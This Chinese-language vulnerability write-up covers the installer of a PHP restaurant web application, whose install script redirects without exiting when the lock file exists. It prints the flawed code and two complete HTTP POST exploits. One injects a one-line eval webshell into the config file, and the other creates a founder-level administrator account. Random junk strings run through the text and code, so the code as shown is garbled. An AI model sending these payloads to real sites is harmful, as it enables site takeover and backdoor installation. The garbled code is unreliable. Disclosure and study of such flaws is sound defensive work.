问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
9 F. E5 c4 H* ^8 P7 G- z: w n. S- v, j& N y! {
<?php
* z, N0 @; |$ m: L: zif(file_exists("../install.lock"))
7 Q8 c5 _0 P: S0 X4 v6 t" t{
5 Q; G! G$ Z9 Y! c+ q9 g2 n: B header("Location: ../");//没有退出
0 a7 i% x- Z! D7 A) T0 M" Q2 U% |}
! O# I2 i, H/ Q
& r" U! ~( C- t* n6 Y h//echo 'tst';exit;
/ j6 K% \/ ~% Trequire_once("init.php");
/ q G! S' {! v0 Lif(empty($_REQUEST['step']) || $_REQUEST['step']==1)- X! }$ W& x" _
{1 v7 Q9 Z" K: {# }/ G) g9 s8 K
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
0 q% H6 [ S; h3 u- p l0 X. z! M; `' m( X# D8 N# i- f
1、getshell(很危险), c6 ?, `0 p2 K; x7 n) @1 J6 W$ w- N
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)) r! R3 y# `, |) P
{8 ]( c+ d. p- q& H3 K% C/ `, Y, F
$smarty->assign("step",1);
3 k) |. f* v+ \" n: K7 n$smarty->display("index.html");1 m1 C) @3 V; |8 a7 N
}elseif($_REQUEST['step']==2)# y8 b" o! f W& ?
{
, E! @6 g$ J! s $mysql_host=trim($_POST['mysql_host']);
/ V6 M4 K. P2 C $mysql_user=trim($_POST['mysql_user']);- z4 w( s3 e/ M
$mysql_pwd=trim($_POST['mysql_pwd']);- d( N& @7 g" V- |: S3 p
$mysql_db=trim($_POST['mysql_db']);! j5 q6 s6 k. u5 y
$tblpre=trim($_POST['tblpre']);
7 T8 M' ^5 c. s% W $domain==trim($_POST['domain']);
. f, g2 S: \" M $str="<?php \r\n";. f; Q4 C# B% {9 A5 a7 t8 H
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";4 W7 I; r; ?! i7 I. y
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
+ a' [4 [5 L2 u- @! z1 A! d$ | $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";% M2 R ^3 }. L' u: X
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
2 m. H4 F0 P) i4 U $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
! ~0 B' {1 Y' ]3 h% U $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
0 G1 I2 t8 L2 d. s' @- [ $str.='define("DOMAIN","'.$domain.'");'."\r\n";
* d" \6 T" ], V3 ^# a% [ $str.='define("SKINS","default");'."\r\n";
1 `# ]# C: `! N/ y1 y $str.='?>';
) q% S9 ^) r Q* K2 N9 o4 ^ file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件8 g0 w, x& `0 i
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
& N8 ^- P5 W9 m" L0 S# [5 n4 OPOST /canting/install/index.php?m=index&step=2 HTTP/1.1( _8 c9 {- [$ F
Host: 192.168.80.1293 P' j" t+ g; x) K
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
J' d1 m G" |) iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 ~) W9 |. z' P8 Y, hAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.38 Q* d! B1 M5 Y/ ~, D: l0 a
Accept-Encoding: gzip, deflate
' S6 z1 U9 o3 g; P9 oReferer: http://192.168.80.129/canting/install/index.php?step=1
- r: G0 L( a4 j+ e9 _Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
1 ^3 T, s, r- F1 [& y1 yContent-Type: application/x-www-form-urlencoded* Y5 c- a* P, p/ \& S5 s- P2 Q# R
Content-Length: 126
7 t3 d" M1 M! P7 k" X7 `0 t b) C& h" Z# D+ l3 r' ^
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
- v+ R' w1 h# Q但是这个方法很危险,将导致网站无法运行。
% y* T+ o3 M; q5 R; H9 p- S+ x6 `( U% y) h3 _5 j
2、直接添加管理员
5 f( D3 b& X* [ T$ c) Q' c4 N3 B) [) y1 _
elseif($_REQUEST['step']==5)7 }1 P" g* O+ `
{
( c7 z5 a2 M7 Y. x; X# ~1 S# Q! p if($_POST)" F9 O6 p* C* v
{ require_once("../config/config.inc.php");
3 Y' i% D4 ]$ n5 A; Q7 y, e# e $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);$ H6 j. X) |9 S7 ?+ `" z) F
mysql_select_db(MYSQL_DB,$link);
9 u4 E- W# y3 f5 k/ J& v; P mysql_query("SET NAMES ".MYSQL_CHARSET );# ~/ x, ?8 r( b9 F
mysql_query("SET sql_mode=''");" ^% [+ V5 d! Z3 L. b& C( `& z5 _
+ ~) Z% x& }* h2 F9 R2 j0 q2 }
$adminname=trim($_POST['adminname']);5 W/ W7 v" \% Q; r: f
$pwd1=trim($_POST['pwd1']);, E D' j$ V1 C4 K
$pwd2=trim($_POST['pwd2']);" b8 X8 t! c) X, z# F
if(empty($adminname))2 ^9 n" \" @2 s5 y& i; ^
{
8 N( d" |- L6 }% J) e( M
& a8 L9 Y- W4 e; `0 P echo "<script>alert('管理员不能为空');history.go(-1);</script>";
# J- o/ w5 J$ v. \6 \( v. D exit();! h& M* |; s& h$ u6 z
}' ^% q' X; t* z2 B# z$ |" U
if(($pwd1!=$pwd2) or empty($pwd1))! l7 g4 n+ G3 Y; f+ L8 V: x
{
* g$ \) q8 i" z; m5 x$ v6 I echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
1 P* r1 E \: h3 W0 g! r" g" U }
0 |6 ~1 I4 l4 M& ~ mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
# T- X1 B3 D- b/ j$ ] }
* Q- @9 m) b" Y# d. |这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
- M& o0 U9 [( g# _. r h7 H- O; I( l# PPOST /canting/install/index.php?m=index&step=5 HTTP/1.1; T+ H) q5 O4 [' a
Host: 192.168.80.129
, y! O+ @4 E6 \* y( Z0 f, oUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
4 E5 P |: j( H6 F2 Z. p6 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, N/ I ~9 I3 u: j/ M0 TAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
0 N' a' Y) ~0 t9 p( z! z6 gAccept-Encoding: gzip, deflate
% p3 e3 }9 O) d/ dReferer: http://www.2cto.com /canting/install/index.php?step=1! K, \5 j& y2 m8 ?: @9 e
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42$ ?2 C" M3 K6 \! s( U% V5 U) h
Content-Type: application/x-www-form-urlencoded1 h- X4 @8 F+ K
Content-Length: 46
& K: j. \- V1 U2 S1 ~ 9 a' T6 c+ d: l5 W- _
adminname=qingshen&pwd1=qingshen&pwd2=qingshen& @- b0 k5 X% V# m1 R2 O, Y) N8 X
|